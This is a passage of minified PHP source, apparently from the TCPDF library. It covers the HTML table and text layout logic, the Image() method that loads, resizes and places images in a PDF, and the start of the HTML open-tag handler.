!empty($dom[$key]['border'])){$tdborder=$dom[$key]['border'];}$colspan=intval($dom[$key]['attribute']['colspan']);if($colspan<=0){$colspan=1;}$old_cell_padding=$this->cell_padding;if(isset($dom[($dom[$trid]['parent'])]['attribute']['cellpadding'])){$crclpd=$this->getHTMLUnitToUnits($dom[($dom[$trid]['parent'])]['attribute']['cellpadding'],1,'px');$current_cell_padding=array('L'=>$crclpd,'T'=>$crclpd,'R'=>$crclpd,'B'=>$crclpd);}elseif(isset($dom[($dom[$trid]['parent'])]['padding'])){$current_cell_padding=$dom[($dom[$trid]['parent'])]['padding'];}else {$current_cell_padding=array('L'=>0,'T'=>0,'R'=>0,'B'=>0);}$this->cell_padding=$current_cell_padding;if(isset($dom[$key]['height'])){$cellh=$this->getHTMLUnitToUnits($dom[$key]['height'],0,'px');}else {$cellh=0;}if(isset($dom[$key]['content'])){$cell_content=$dom[$key]['content'];}else {$cell_content=' ';}$tagtype=$dom[$key]['value'];$parentid=$key;while(($key<$maxel) AND (!(($dom[$key]['tag']) AND (!$dom[$key]['opening']) AND ($dom[$key]['value']==$tagtype) AND ($dom[$key]['parent']==$parentid)))){++$key;}if(!isset($dom[$trid]['startpage'])){$dom[$trid]['startpage']=$this->page;}else {$this->setPage($dom[$trid]['startpage']);}if(!isset($dom[$trid]['startcolumn'])){$dom[$trid]['startcolumn']=$this->current_column;}elseif($this->current_column!=$dom[$trid]['startcolumn']){$tmpx=$this->x;$this->selectColumn($dom[$trid]['startcolumn']);$this->x=$tmpx;}if(!isset($dom[$trid]['starty'])){$dom[$trid]['starty']=$this->y;}else {$this->y=$dom[$trid]['starty'];}if(!isset($dom[$trid]['startx'])){$dom[$trid]['startx']=$this->x;$this->x+=$cellspacingx;}else {$this->x+=($cellspacingx/2);}if(isset($dom[$parentid]['attribute']['rowspan'])){$rowspan=intval($dom[$parentid]['attribute']['rowspan']);}else {$rowspan=1;}if(isset($dom[$table_el]['rowspans'])){$rsk=0;$rskmax=count($dom[$table_el]['rowspans']);while($rsk<$rskmax){$trwsp=$dom[$table_el]['rowspans'][$rsk];$rsstartx=$trwsp['startx'];$rsendx=$trwsp['endx'];if($trwsp['startpage']<$this->page){if(($this->rtl) AND ($this->pagedim[$this->page]['orm']!=$this->pagedim[$trwsp['startpage']]['orm'])){$dl=($this->pagedim[$this->page]['orm']-$this->pagedim[$trwsp['startpage']]['orm']);$rsstartx-=$dl;$rsendx-=$dl;}elseif((!$this->rtl) AND ($this->pagedim[$this->page]['olm']!=$this->pagedim[$trwsp['startpage']]['olm'])){$dl=($this->pagedim[$this->page]['olm']-$this->pagedim[$trwsp['startpage']]['olm']);$rsstartx+=$dl;$rsendx+=$dl;}}if(($trwsp['rowspan']>0) AND ($rsstartx>($this->x-$cellspacing['H']-$current_cell_padding['L']-$this->feps)) AND ($rsstartx<($this->x+$cellspacing['H']+$current_cell_padding['R']+$this->feps)) AND (($trwsp['starty']<($this->y-$this->feps)) OR ($trwsp['startpage']<$this->page) OR ($trwsp['startcolumn']<$this->current_column))){$this->x=$rsendx+$cellspacingx;$colid+=$trwsp['colspan'];if(($trwsp['rowspan']==1) AND (isset($dom[$trid]['endy'])) AND (isset($dom[$trid]['endpage'])) AND (isset($dom[$trid]['endcolumn'])) AND ($trwsp['endpage']==$dom[$trid]['endpage']) AND ($trwsp['endcolumn']==$dom[$trid]['endcolumn'])){$dom[$table_el]['rowspans'][$rsk]['endy']=max($dom[$trid]['endy'],$trwsp['endy']);$dom[$trid]['endy']=$dom[$table_el]['rowspans'][$rsk]['endy'];}$rsk=0;}else {++$rsk;}}}if(isset($dom[$parentid]['width'])){$cellw=$this->getHTMLUnitToUnits($dom[$parentid]['width'],$table_columns_width,'px');$tmpcw=($cellw/$colspan);for($i=0;$i<$colspan;++$i){$table_colwidths[($colid+$i)]=$tmpcw;}}else {$cellw=0;for($i=0;$i<$colspan;++$i){$cellw+=(isset($table_colwidths[($colid+$i)])?$table_colwidths[($colid+$i)]:0);}}$cellw+=(($colspan-1)*$cellspacing['H']);$colid+=$colspan;if($rowspan>1){$trsid=array_push($dom[$table_el]['rowspans'],array('trid'=>$trid,'rowspan'=>$rowspan,'mrowspan'=>$rowspan,'colspan'=>$colspan,'startpage'=>$this->page,'startcolumn'=>$this->current_column,'startx'=>$this->x,'starty'=>$this->y));}$cellid=array_push($dom[$trid]['cellpos'],array('startx'=>$this->x));if($rowspan>1){$dom[$trid]['cellpos'][($cellid-1)]['rowspanid']=($trsid-1);}if(isset($dom[$parentid]['bgcolor']) AND ($dom[$parentid]['bgcolor']!==false)){$dom[$trid]['cellpos'][($cellid-1)]['bgcolor']=$dom[$parentid]['bgcolor'];}if(isset($tdborder) AND !empty($tdborder)){$dom[$trid]['cellpos'][($cellid-1)]['border']=$tdborder;}$prevLastH=$this->lasth;if($this->rtl){$this->colxshift['x']=$this->w-$this->x-$this->rMargin;}else {$this->colxshift['x']=$this->x-$this->lMargin;}$this->colxshift['s']=$cellspacing;$this->colxshift['p']=$current_cell_padding;$this->MultiCell($cellw,$cellh,$cell_content,false,$lalign,false,2,'','',true,0,true,true,0,'T',false);$this->colxshift=array('x'=>0,'s'=>array('H'=>0,'V'=>0),'p'=>array('L'=>0,'T'=>0,'R'=>0,'B'=>0));$this->lasth=$prevLastH;$this->cell_padding=$old_cell_padding;$dom[$trid]['cellpos'][($cellid-1)]['endx']=$this->x;if($rowspan<=1){if(isset($dom[$trid]['endy'])){if(($this->page==$dom[$trid]['endpage']) AND ($this->current_column==$dom[$trid]['endcolumn'])){$dom[$trid]['endy']=max($this->y,$dom[$trid]['endy']);}elseif(($this->page>$dom[$trid]['endpage']) OR ($this->current_column>$dom[$trid]['endcolumn'])){$dom[$trid]['endy']=$this->y;}}else {$dom[$trid]['endy']=$this->y;}if(isset($dom[$trid]['endpage'])){$dom[$trid]['endpage']=max($this->page,$dom[$trid]['endpage']);}else {$dom[$trid]['endpage']=$this->page;}if(isset($dom[$trid]['endcolumn'])){$dom[$trid]['endcolumn']=max($this->current_column,$dom[$trid]['endcolumn']);}else {$dom[$trid]['endcolumn']=$this->current_column;}}else {$dom[$table_el]['rowspans'][($trsid-1)]['endx']=$this->x;$dom[$table_el]['rowspans'][($trsid-1)]['endy']=$this->y;$dom[$table_el]['rowspans'][($trsid-1)]['endpage']=$this->page;$dom[$table_el]['rowspans'][($trsid-1)]['endcolumn']=$this->current_column;}if(isset($dom[$table_el]['rowspans'])){foreach($dom[$table_el]['rowspans'] as $k=>$trwsp){if($trwsp['rowspan']>0){if(isset($dom[$trid]['endpage'])){if(($trwsp['endpage']==$dom[$trid]['endpage']) AND ($trwsp['endcolumn']==$dom[$trid]['endcolumn'])){$dom[$table_el]['rowspans'][$k]['endy']=max($dom[$trid]['endy'],$trwsp['endy']);}elseif(($trwsp['endpage']<$dom[$trid]['endpage']) OR ($trwsp['endcolumn']<$dom[$trid]['endcolumn'])){$dom[$table_el]['rowspans'][$k]['endy']=$dom[$trid]['endy'];$dom[$table_el]['rowspans'][$k]['endpage']=$dom[$trid]['endpage'];$dom[$table_el]['rowspans'][$k]['endcolumn']=$dom[$trid]['endcolumn'];}else {$dom[$trid]['endy']=$this->pagedim[$dom[$trid]['endpage']]['hk']-$this->pagedim[$dom[$trid]['endpage']]['bm'];}}}}}$this->x+=($cellspacingx/2);}else {if(!isset($opentagpos)){if($this->inxobj){$opentagpos=strlen($this->xobjects[$this->xobjid]['outdata']);}elseif(!$this->InFooter){if(isset($this->footerlen[$this->page])){$this->footerpos[$this->page]=$this->pagelen[$this->page]-$this->footerlen[$this->page];}else {$this->footerpos[$this->page]=$this->pagelen[$this->page];}$opentagpos=$this->footerpos[$this->page];}}$dom=$this->openHTMLTagHandler($dom,$key,$cell);}}else {$prev_numpages=$this->numpages;$old_bordermrk=$this->bordermrk[$this->page];$dom=$this->closeHTMLTagHandler($dom,$key,$cell,$maxbottomliney);if($this->bordermrk[$this->page]>$old_bordermrk){$startlinepos+=($this->bordermrk[$this->page]-$old_bordermrk);}if($prev_numpages>$this->numpages){$startlinepage=$this->page;}}}elseif(strlen($dom[$key]['value'])>0){if(!TCPDF_STATIC::empty_string($this->lispacer) AND ($this->lispacer!='^')){$this->SetFont($pfontname,$pfontstyle,$pfontsize);$this->resetLastH();$minstartliney=$this->y;$maxbottomliney=($startliney+$this->getCellHeight($this->FontSize));if(is_numeric($pfontsize) AND ($pfontsize>0)){$this->putHtmlListBullet($this->listnum,$this->lispacer,$pfontsize);}$this->SetFont($curfontname,$curfontstyle,$curfontsize);$this->resetLastH();if(is_numeric($pfontsize) AND ($pfontsize>0) AND is_numeric($curfontsize) AND ($curfontsize>0) AND ($pfontsize!=$curfontsize)){$pfontascent=$this->getFontAscent($pfontname,$pfontstyle,$pfontsize);$pfontdescent=$this->getFontDescent($pfontname,$pfontstyle,$pfontsize);$this->y+=($this->getCellHeight(($pfontsize-$curfontsize)/$this->k)+$pfontascent-$curfontascent-$pfontdescent+$curfontdescent)/2;$minstartliney=min($this->y,$minstartliney);$maxbottomliney=max(($this->y+$this->getCellHeight($pfontsize/$this->k)),$maxbottomliney);}}$this->htmlvspace=0;if((!$this->premode) AND $this->isRTLTextDir()){$lsp='';$rsp='';if(preg_match('/^('.$this->re_space['p'].'+)/'.$this->re_space['m'],$dom[$key]['value'],$matches)){$lsp=$matches[1];}if(preg_match('/('.$this->re_space['p'].'+)$/'.$this->re_space['m'],$dom[$key]['value'],$matches)){$rsp=$matches[1];}$dom[$key]['value']=$rsp.$this->stringTrim($dom[$key]['value']).$lsp;}if($newline){if(!$this->premode){$prelen=strlen($dom[$key]['value']);if($this->isRTLTextDir()){$dom[$key]['value']=$this->stringRightTrim($dom[$key]['value']);}else {$dom[$key]['value']=$this->stringLeftTrim($dom[$key]['value']);}$postlen=strlen($dom[$key]['value']);if(($postlen==0) AND ($prelen>0)){$dom[$key]['trimmed_space']=true;}}$newline=false;$firstblock=true;}else {$firstblock=false;$dom[$key]['value']=preg_replace('/^'.$this->re_space['p'].'+$/'.$this->re_space['m'],chr(32),$dom[$key]['value']);}$strrest='';if($this->rtl){$this->x-=$this->textindent;}else {$this->x+=$this->textindent;}if(!isset($dom[$key]['trimmed_space']) OR !$dom[$key]['trimmed_space']){$strlinelen=$this->GetStringWidth($dom[$key]['value']);if(!empty($this->HREF) AND (isset($this->HREF['url']))){$hrefcolor='';if(isset($dom[($dom[$key]['parent'])]['fgcolor']) AND ($dom[($dom[$key]['parent'])]['fgcolor']!==false)){$hrefcolor=$dom[($dom[$key]['parent'])]['fgcolor'];}$hrefstyle=-1;if(isset($dom[($dom[$key]['parent'])]['fontstyle']) AND ($dom[($dom[$key]['parent'])]['fontstyle']!==false)){$hrefstyle=$dom[($dom[$key]['parent'])]['fontstyle'];}$strrest=$this->addHtmlLink($this->HREF['url'],$dom[$key]['value'],$wfill,true,$hrefcolor,$hrefstyle,true);}else {$wadj=0;if($this->rtl){$cwa=($this->x-$this->lMargin);}else {$cwa=($this->w-$this->rMargin-$this->x);}if(($strlinelen<$cwa) AND (isset($dom[($key+1)])) AND ($dom[($key+1)]['tag']) AND (!$dom[($key+1)]['block'])){$nkey=($key+1);$write_block=true;$same_textdir=true;$tmp_fontname=$this->FontFamily;$tmp_fontstyle=$this->FontStyle;$tmp_fontsize=$this->FontSizePt;while($write_block AND isset($dom[$nkey])){if($dom[$nkey]['tag']){if($dom[$nkey]['block']){$write_block=false;}$tmp_fontname=isset($dom[$nkey]['fontname'])?$dom[$nkey]['fontname']:$this->FontFamily;$tmp_fontstyle=isset($dom[$nkey]['fontstyle'])?$dom[$nkey]['fontstyle']:$this->FontStyle;$tmp_fontsize=isset($dom[$nkey]['fontsize'])?$dom[$nkey]['fontsize']:$this->FontSizePt;$same_textdir=($dom[$nkey]['dir']==$dom[$key]['dir']);}else {$nextstr=TCPDF_STATIC::pregSplit('/'.$this->re_space['p'].'+/',$this->re_space['m'],$dom[$nkey]['value']);if(isset($nextstr[0]) AND $same_textdir){$wadj+=$this->GetStringWidth($nextstr[0],$tmp_fontname,$tmp_fontstyle,$tmp_fontsize);if(isset($nextstr[1])){$write_block=false;}}}++$nkey;}}if(($wadj>0) AND (($strlinelen+$wadj)>=$cwa)){$wadj=0;$nextstr=TCPDF_STATIC::pregSplit('/'.$this->re_space['p'].'/',$this->re_space['m'],$dom[$key]['value']);$numblks=count($nextstr);if($numblks>1){$wadj=($cwa-$strlinelen+$this->GetStringWidth($nextstr[($numblks-1)]));}else {$wadj=$this->GetStringWidth($nextstr[0]);}}if(($wadj>0) AND (($this->rtl AND ($this->tmprtl==='L')) OR (!$this->rtl AND ($this->tmprtl==='R')))){$reverse_dir=true;$this->rtl=!$this->rtl;$revshift=($strlinelen+$wadj+0.000001);if($this->rtl){$this->x+=$revshift;}else {$this->x-=$revshift;}$xws=$this->x;}$strrest=$this->Write($this->lasth,$dom[$key]['value'],'',$wfill,'',false,0,true,$firstblock,0,$wadj);if($reverse_dir AND ($wadj==0)){$this->x=$xws;$this->rtl=!$this->rtl;$reverse_dir=false;}}}$this->textindent=0;if(strlen($strrest)>0){$this->newline=true;if($strrest==$dom[$key]['value']){++$loop;}else {$loop=0;}$dom[$key]['value']=$strrest;if($cell){if($this->rtl){$this->x-=$this->cell_padding['R'];}else {$this->x+=$this->cell_padding['L'];}}if($loop<3){--$key;}}else {$loop=0;if($this->font_spacing>0){if($this->rtl){$this->x-=$this->font_spacing;}else {$this->x+=$this->font_spacing;}}}}++$key;if(isset($dom[$key]['tag']) AND $dom[$key]['tag'] AND (!isset($dom[$key]['opening']) OR !$dom[$key]['opening']) AND isset($dom[($dom[$key]['parent'])]['attribute']['nobr']) AND ($dom[($dom[$key]['parent'])]['attribute']['nobr']=='true')){if((!$undo) AND (($this->y<$this->start_transaction_y) OR (($dom[$key]['value']=='tr') AND ($dom[($dom[$key]['parent'])]['endy']<$this->start_transaction_y)))){$this->rollbackTransaction(true);foreach($this_method_vars as $vkey=>$vval){$$vkey=$vval;}if(!empty($dom[$key]['thead'])){$this->inthead=true;}$pre_y=$this->y;if((!$this->checkPageBreak($this->PageBreakTrigger+1)) AND ($this->y<$pre_y)){$startliney=$this->y;}$undo=true;}else {$undo=false;}}}if(isset($startlinex)){$yshift=($minstartliney-$startliney);if(($yshift>0) OR ($this->page>$startlinepage)){$yshift=0;}$t_x=0;$linew=abs($this->endlinex-$startlinex);if($this->inxobj){$pstart=substr($this->xobjects[$this->xobjid]['outdata'],0,$startlinepos);if(isset($opentagpos)){$midpos=$opentagpos;}else {$midpos=0;}if($midpos>0){$pmid=substr($this->xobjects[$this->xobjid]['outdata'],$startlinepos,($midpos-$startlinepos));$pend=substr($this->xobjects[$this->xobjid]['outdata'],$midpos);}else {$pmid=substr($this->xobjects[$this->xobjid]['outdata'],$startlinepos);$pend='';}}else {$pstart=substr($this->getPageBuffer($startlinepage),0,$startlinepos);if(isset($opentagpos) AND isset($this->footerlen[$startlinepage]) AND (!$this->InFooter)){$this->footerpos[$startlinepage]=$this->pagelen[$startlinepage]-$this->footerlen[$startlinepage];$midpos=min($opentagpos,$this->footerpos[$startlinepage]);}elseif(isset($opentagpos)){$midpos=$opentagpos;}elseif(isset($this->footerlen[$startlinepage]) AND (!$this->InFooter)){$this->footerpos[$startlinepage]=$this->pagelen[$startlinepage]-$this->footerlen[$startlinepage];$midpos=$this->footerpos[$startlinepage];}else {$midpos=0;}if($midpos>0){$pmid=substr($this->getPageBuffer($startlinepage),$startlinepos,($midpos-$startlinepos));$pend=substr($this->getPageBuffer($startlinepage),$midpos);}else {$pmid=substr($this->getPageBuffer($startlinepage),$startlinepos);$pend='';}}if((isset($plalign) AND ((($plalign=='C') OR (($plalign=='R') AND (!$this->rtl)) OR (($plalign=='L') AND ($this->rtl)))))){$tw=$w;if($this->lMargin!=$prevlMargin){$tw+=($prevlMargin-$this->lMargin);}if($this->rMargin!=$prevrMargin){$tw+=($prevrMargin-$this->rMargin);}$one_space_width=$this->GetStringWidth(chr(32));$no=0;if($this->isRTLTextDir()){$pos1=TCPDF_STATIC::revstrpos($pmid,'[(');if($pos1>0){$pos1=intval($pos1);if($this->isUnicodeFont()){$pos2=intval(TCPDF_STATIC::revstrpos($pmid,'[('.chr(0).chr(32)));$spacelen=2;}else {$pos2=intval(TCPDF_STATIC::revstrpos($pmid,'[('.chr(32)));$spacelen=1;}if($pos1==$pos2){$pmid=substr($pmid,0,($pos1+2)).substr($pmid,($pos1+2+$spacelen));if(substr($pmid,$pos1,4)=='[()]'){$linew-=$one_space_width;}elseif($pos1==strpos($pmid,'[(')){$no=1;}}}}else {$pos1=TCPDF_STATIC::revstrpos($pmid,')]');if($pos1>0){$pos1=intval($pos1);if($this->isUnicodeFont()){$pos2=intval(TCPDF_STATIC::revstrpos($pmid,chr(0).chr(32).')]'))+2;$spacelen=2;}else {$pos2=intval(TCPDF_STATIC::revstrpos($pmid,chr(32).')]'))+1;$spacelen=1;}if($pos1==$pos2){$pmid=substr($pmid,0,($pos1-$spacelen)).substr($pmid,$pos1);$linew-=$one_space_width;}}}$mdiff=($tw-$linew);if($plalign=='C'){if($this->rtl){$t_x=-($mdiff/2);}else {$t_x=($mdiff/2);}}elseif($plalign=='R'){$t_x=$mdiff;}elseif($plalign=='L'){$t_x=-$mdiff;}}if(($t_x!=0) OR ($yshift<0)){$trx=sprintf('1 0 0 1 %F %F cm',($t_x*$this->k),($yshift*$this->k));$pstart.="
q
".$trx."
".$pmid."
Q
";$endlinepos=strlen($pstart);if($this->inxobj){$this->xobjects[$this->xobjid]['outdata']=$pstart.$pend;foreach($this->xobjects[$this->xobjid]['annotations'] as $pak=>$pac){if($pak>=$pask){$this->xobjects[$this->xobjid]['annotations'][$pak]['x']+=$t_x;$this->xobjects[$this->xobjid]['annotations'][$pak]['y']-=$yshift;}}}else {$this->setPageBuffer($startlinepage,$pstart.$pend);if(isset($this->PageAnnots[$this->page])){foreach($this->PageAnnots[$this->page] as $pak=>$pac){if($pak>=$pask){$this->PageAnnots[$this->page][$pak]['x']+=$t_x;$this->PageAnnots[$this->page][$pak]['y']-=$yshift;}}}}$this->y-=$yshift;$yshift=0;}}$this->setGraphicVars($gvars);if($this->num_columns>1){$this->selectColumn();}elseif($this->page>$prevPage){$this->lMargin=$this->pagedim[$this->page]['olm'];$this->rMargin=$this->pagedim[$this->page]['orm'];}$this->cell_height_ratio=$prev_cell_height_ratio;$this->listnum=$prev_listnum;$this->listordered=$prev_listordered;$this->listcount=$prev_listcount;$this->lispacer=$prev_lispacer;if($ln AND (!($cell AND ($dom[$key-1]['value']=='table')))){$this->Ln($this->lasth);if(($this->y<$maxbottomliney) AND ($startlinepage==$this->page)){$this->y=$maxbottomliney;}}unset($dom);} function Image($file,$x='',$y='',$w=0,$h=0,$type='',$link='',$align='',$resize=false,$dpi=300,$palign='',$ismask=false,$imgmask=false,$border=0,$fitbox=false,$hidden=false,$fitonpage=false,$alt=false,$altimgs=array()){if($this->state!=2){return;}if(strcmp($x,'')===0){$x=$this->x;}if(strcmp($y,'')===0){$y=$this->y;}list($x,$y)=$this->checkPageRegions($h,$x,$y);$exurl='';$imsize=FALSE;if($file[0]==='@'){$imgdata=substr($file,1);}else {if($file[0]==='*'){$file=substr($file,1);$exurl=$file;}if(!@file_exists($file)){$tfile=str_replace(' ','%20',$file);if(@file_exists($tfile)){$file=$tfile;}}if(($imsize=@getimagesize($file))===FALSE){if(in_array($file,$this->imagekeys)){$info=$this->getImageBuffer($file);$imsize=array($info['w'],$info['h']);}elseif(strpos($file,'__tcpdf_'.$this->file_id.'_img')===FALSE){$imgdata=TCPDF_STATIC::fileGetContents($file);}}}if(!empty($imgdata)){$original_file=$file;$file=TCPDF_STATIC::getObjFilename('img',$this->file_id);$fp=TCPDF_STATIC::fopenLocal($file,'w');if(!$fp){$this->Error('Unable to write file: '.$file);}fwrite($fp,$imgdata);fclose($fp);unset($imgdata);$imsize=@getimagesize($file);if($imsize===FALSE){unlink($file);$file=$original_file;}}if($imsize===FALSE){if(($w>0) AND ($h>0)){$pw=$this->getHTMLUnitToUnits($w,0,$this->pdfunit,true)*$this->imgscale*$this->k;$ph=$this->getHTMLUnitToUnits($h,0,$this->pdfunit,true)*$this->imgscale*$this->k;$imsize=array($pw,$ph);}else {$this->Error('[Image] Unable to get the size of the image: '.$file);}}$filehash=md5($file);list($pixw,$pixh)=$imsize;if(($w<=0) AND ($h<=0)){$w=$this->pixelsToUnits($pixw);$h=$this->pixelsToUnits($pixh);}elseif($w<=0){$w=$h*$pixw/$pixh;}elseif($h<=0){$h=$w*$pixh/$pixw;}elseif(($fitbox!==false) AND ($w>0) AND ($h>0)){if(strlen($fitbox)!==2){$fitbox='--';}if((($w*$pixh)/($h*$pixw))<1){$oldh=$h;$h=$w*$pixh/$pixw;$hdiff=($oldh-$h);switch(strtoupper($fitbox[1])){case 'T':{break;}case 'M':{$y+=($hdiff/2);break;}case 'B':{$y+=$hdiff;break;}}}else {$oldw=$w;$w=$h*$pixw/$pixh;$wdiff=($oldw-$w);switch(strtoupper($fitbox[0])){case 'L':{if($this->rtl){$x-=$wdiff;}break;}case 'C':{if($this->rtl){$x-=($wdiff/2);}else {$x+=($wdiff/2);}break;}case 'R':{if(!$this->rtl){$x+=$wdiff;}break;}}}}list($w,$h,$x,$y)=$this->fitBlock($w,$h,$x,$y,$fitonpage);$neww=round($w*$this->k*$dpi/$this->dpi);$newh=round($h*$this->k*$dpi/$this->dpi);$newsize=($neww*$newh);$pixsize=($pixw*$pixh);if(intval($resize)==2){$resize=true;}elseif($newsize>=$pixsize){$resize=false;}$newimage=true;if(in_array($file,$this->imagekeys)){$newimage=false;$info=$this->getImageBuffer($file);if(strpos($file,'__tcpdf_'.$this->file_id.'_imgmask_')===FALSE){$oldsize=($info['w']*$info['h']);if((($oldsize<$newsize) AND ($resize)) OR (($oldsize<$pixsize) AND (!$resize))){$newimage=true;}}}elseif(($ismask===false) AND ($imgmask===false) AND (strpos($file,'__tcpdf_'.$this->file_id.'_imgmask_')===FALSE)){$tempfile_plain=K_PATH_CACHE.'__tcpdf_'.$this->file_id.'_imgmask_plain_'.$filehash;$tempfile_alpha=K_PATH_CACHE.'__tcpdf_'.$this->file_id.'_imgmask_alpha_'.$filehash;if(in_array($tempfile_plain,$this->imagekeys)){$info=$this->getImageBuffer($tempfile_plain);$oldsize=($info['w']*$info['h']);if((($oldsize<$newsize) AND ($resize)) OR (($oldsize<$pixsize) AND (!$resize))){$newimage=true;}else {$newimage=false;$imgmask=$this->Image($tempfile_alpha,$x,$y,$w,$h,'PNG','','',$resize,$dpi,'',true,false);return $this->Image($tempfile_plain,$x,$y,$w,$h,$type,$link,$align,$resize,$dpi,$palign,false,$imgmask);}}}if($newimage){$type=strtolower($type);if($type==''){$type=TCPDF_IMAGES::getImageFileType($file,$imsize);}elseif($type=='jpg'){$type='jpeg';}$mqr=TCPDF_STATIC::get_mqr();TCPDF_STATIC::set_mqr(false);$mtd='_parse'.$type;$gdfunction='imagecreatefrom'.$type;$info=false;if((method_exists('TCPDF_IMAGES',$mtd)) AND (!($resize AND (function_exists($gdfunction) OR extension_loaded('imagick'))))){$info=TCPDF_IMAGES::$mtd($file);if(($ismask===false) AND ($imgmask===false) AND (strpos($file,'__tcpdf_'.$this->file_id.'_imgmask_')===FALSE) AND (($info==='pngalpha') OR (isset($info['trns']) AND !empty($info['trns'])))){return $this->ImagePngAlpha($file,$x,$y,$pixw,$pixh,$w,$h,'PNG',$link,$align,$resize,$dpi,$palign,$filehash);}}if(($info===false) AND function_exists($gdfunction)){try{$img=$gdfunction($file);if($img!==false){if($resize){$imgr=imagecreatetruecolor($neww,$newh);if(($type=='gif') OR ($type=='png')){$imgr=TCPDF_IMAGES::setGDImageTransparency($imgr,$img);}imagecopyresampled($imgr,$img,0,0,0,0,$neww,$newh,$pixw,$pixh);$img=$imgr;}if(($type=='gif') OR ($type=='png')){$info=TCPDF_IMAGES::_toPNG($img,TCPDF_STATIC::getObjFilename('img',$this->file_id));}else {$info=TCPDF_IMAGES::_toJPEG($img,$this->jpeg_quality,TCPDF_STATIC::getObjFilename('img',$this->file_id));}}}catch(Exception$e){$info=false;}}if(($info===false) AND extension_loaded('imagick')){try{$img=new Imagick();if($type=='svg'){if($file[0]==='@'){$svgimg=substr($file,1);}else {$svgimg=TCPDF_STATIC::fileGetContents($file);}if($svgimg!==FALSE){$regs=array();if(preg_match('/<svg([^\>]*)>/si',$svgimg,$regs)){$svgtag=$regs[1];$tmp=array();if(preg_match('/[\s]+width[\s]*=[\s]*"([^"]*)"/si',$svgtag,$tmp)){$ow=$this->getHTMLUnitToUnits($tmp[1],1,$this->svgunit,false);$owu=sprintf('%F',($ow*$dpi/72)).$this->pdfunit;$svgtag=preg_replace('/[\s]+width[\s]*=[\s]*"[^"]*"/si',' width="'.$owu.'"',$svgtag,1);}else {$ow=$w;}$tmp=array();if(preg_match('/[\s]+height[\s]*=[\s]*"([^"]*)"/si',$svgtag,$tmp)){$oh=$this->getHTMLUnitToUnits($tmp[1],1,$this->svgunit,false);$ohu=sprintf('%F',($oh*$dpi/72)).$this->pdfunit;$svgtag=preg_replace('/[\s]+height[\s]*=[\s]*"[^"]*"/si',' height="'.$ohu.'"',$svgtag,1);}else {$oh=$h;}$tmp=array();if(!preg_match('/[\s]+viewBox[\s]*=[\s]*"[\s]*([0-9\.]+)[\s]+([0-9\.]+)[\s]+([0-9\.]+)[\s]+([0-9\.]+)[\s]*"/si',$svgtag,$tmp)){$vbw=($ow*$this->imgscale*$this->k);$vbh=($oh*$this->imgscale*$this->k);$vbox=sprintf(' viewBox="0 0 %F %F" ',$vbw,$vbh);$svgtag=$vbox.$svgtag;}$svgimg=preg_replace('/<svg([^\>]*)>/si','<svg'.$svgtag.'>',$svgimg,1);}$img->readImageBlob($svgimg);}}else {$img->readImage($file);}if($resize){$img->resizeImage($neww,$newh,10,1,false);}$img->setCompressionQuality($this->jpeg_quality);$img->setImageFormat('jpeg');$tempname=TCPDF_STATIC::getObjFilename('img',$this->file_id);$img->writeImage($tempname);$info=TCPDF_IMAGES::_parsejpeg($tempname);unlink($tempname);$img->destroy();}catch(Exception$e){$info=false;}}if($info===false){return;}TCPDF_STATIC::set_mqr($mqr);if($ismask){$info['cs']='DeviceGray';}if($imgmask!==false){$info['masked']=$imgmask;}if(!empty($exurl)){$info['exurl']=$exurl;}$info['altimgs']=$altimgs;$info['i']=$this->setImageBuffer($file,$info);}$this->img_rb_y=$y+$h;if($this->rtl){if($palign=='L'){$ximg=$this->lMargin;}elseif($palign=='C'){$ximg=($this->w+$this->lMargin-$this->rMargin-$w)/2;}elseif($palign=='R'){$ximg=$this->w-$this->rMargin-$w;}else {$ximg=$x-$w;}$this->img_rb_x=$ximg;}else {if($palign=='L'){$ximg=$this->lMargin;}elseif($palign=='C'){$ximg=($this->w+$this->lMargin-$this->rMargin-$w)/2;}elseif($palign=='R'){$ximg=$this->w-$this->rMargin-$w;}else {$ximg=$x;}$this->img_rb_x=$ximg+$w;}if($ismask OR $hidden){return $info['i'];}$xkimg=$ximg*$this->k;if(!$alt){$this->_out(sprintf('q %F 0 0 %F %F %F cm /I%u Do Q',($w*$this->k),($h*$this->k),$xkimg,(($this->h-($y+$h))*$this->k),$info['i']));}if(!empty($border)){$bx=$this->x;$by=$this->y;$this->x=$ximg;if($this->rtl){$this->x+=$w;}$this->y=$y;$this->Cell($w,$h,'',$border,0,'',0,'',0,true);$this->x=$bx;$this->y=$by;}if($link){$this->Link($ximg,$y,$w,$h,$link,0);}switch($align){case 'T':{$this->y=$y;$this->x=$this->img_rb_x;break;}case 'M':{$this->y=$y+round($h/2);$this->x=$this->img_rb_x;break;}case 'B':{$this->y=$this->img_rb_y;$this->x=$this->img_rb_x;break;}case 'N':{$this->SetY($this->img_rb_y);break;}default:{break;}}$this->endlinex=$this->img_rb_x;if($this->inxobj){$this->xobjects[$this->xobjid]['images'][]=$info['i'];}return $info['i'];} function openHTMLTagHandler($dom,$key,$cell){$tag=$dom[$key];$parent=$dom[($dom[$key]['parent'])];$firsttag=($key==1);if(isset($tag['dir'])){$this->setTempRTL($tag['dir']);}else {$this->tmprtl=false;}if($tag['block']){$hbz=0;$hb=0;if(isset($this->tagvspaces[$tag['value']][0]['h']) AND ($this->tagvspaces[$tag['value']][0]['h']>=0)){$cur_h=$this->tagvspaces[$tag['value']][0]['h'];}elseif(isset($tag['fontsize'])){$cur_h=$this->getCellHeight($tag['fontsize']/$this->k);}else {$cur_h=$this->getCellHeight($this->FontSize);}if(isset($this->tagvspaces[$tag['value']][0]['n'])){$on=$this->tagvspaces[$tag['value']][0]['n'];}elseif(preg_match('/[h][0-9]/',$tag['value'])>0){$on=0.6;}else {$on=1;}if((!isset($this->tagvspaces[$tag['value']])) AND (in_array($tag['value'],array('div','dt','dd','li','br','hr')))){$hb=0;}else {$hb=($on*$cur_h);}if(($this->htmlvspace<=0) AND ($on>0)){if(isset($parent['fontsize'])){$hbz=(($parent['fontsize']/$this->k)*$this->cell_height_ratio);}else {$hbz=$this->getCellHeight($this->FontSize);}}if(isset($dom[($key-1)]) AND ($dom[($key-1)]['value']=='table')){$hbz=0;}$hbc=0;if(isset($this->tagvspaces[$tag['value']][1]['h']) AND ($this->tagvspaces[$tag['value']][1]['h']>=0)){$pre_h=$this->tagvspaces[$tag['value']][1]['h'];}elseif(isset($parent['fontsize'])){$pre_h=$this->getCellHeight($parent['fontsize']/$this->k);}else 